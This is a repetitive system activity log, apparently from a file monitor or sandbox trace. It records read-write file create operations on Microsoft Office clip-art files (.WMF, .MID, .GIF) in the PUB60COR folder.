Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\ED00019_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\ED00172_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\ED00184_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\EN00006_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\EN00202_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\EN00222_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\EN00242_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\EN00319_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\EN00320_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\EN00397_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\EN00902_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\EXPLR_01.MID desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FALL_01.MID desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00074_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00076_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00077_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00086_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00090_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00096_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00296_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00297_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00306_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00336_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00361_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00369_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00382_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00397_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00403_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00414_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00419_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00428_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00435_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00438_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00455_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00459_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00543_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00544_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00564_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00586_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00775_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00779_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00799_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00814_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00965_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD01074_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD01084_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD01176_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD01191_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD01193_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD01196_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD01548_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD01657_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD01658_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD01659_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD01660_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD02068_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD02071_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD02075_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD02088_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD02097_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD02115_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD02116_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD02141_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD02153_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD02158_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD02161_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FINCL_01.MID desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FINCL_02.MID desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FLAP.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\GRDEN_01.MID desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\GRID_01.MID desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00057_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00084_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00231_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00235_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00236_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00241_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00260_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00276_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00334_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00443_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00513_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00524_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00526_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00527_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00546_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00601_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00602_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00612_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00623_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00625_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00636_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00669_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00681_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00685_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00687_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00688_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00693_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH01013_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH01015_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH01058_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH01065_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH01080_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH01242_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH01291_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH01329_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH01461_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH01618_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH01759_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH01875_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH01923_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH02155_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH02166_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH02282_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH02298_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH02312_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH02313_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HM00005_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HM00114_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HM00116_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HM00172_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HM00426_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HTECH_01.MID desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\IN00046_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\IN00118_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\IN00177_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\IN00204_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\IN00233_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\IN00343_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\IN00346_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\IN00351_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\IN00557_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\IN00915_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\IN00919_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\IN00956_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\IN00957_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\INDST_01.MID desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0075478.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0086384.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0086420.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0086424.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0086426.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0086428.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0086432.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0086478.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0089945.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0089992.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0090027.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0090087.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0090089.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0090149.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0090390.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0090777.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
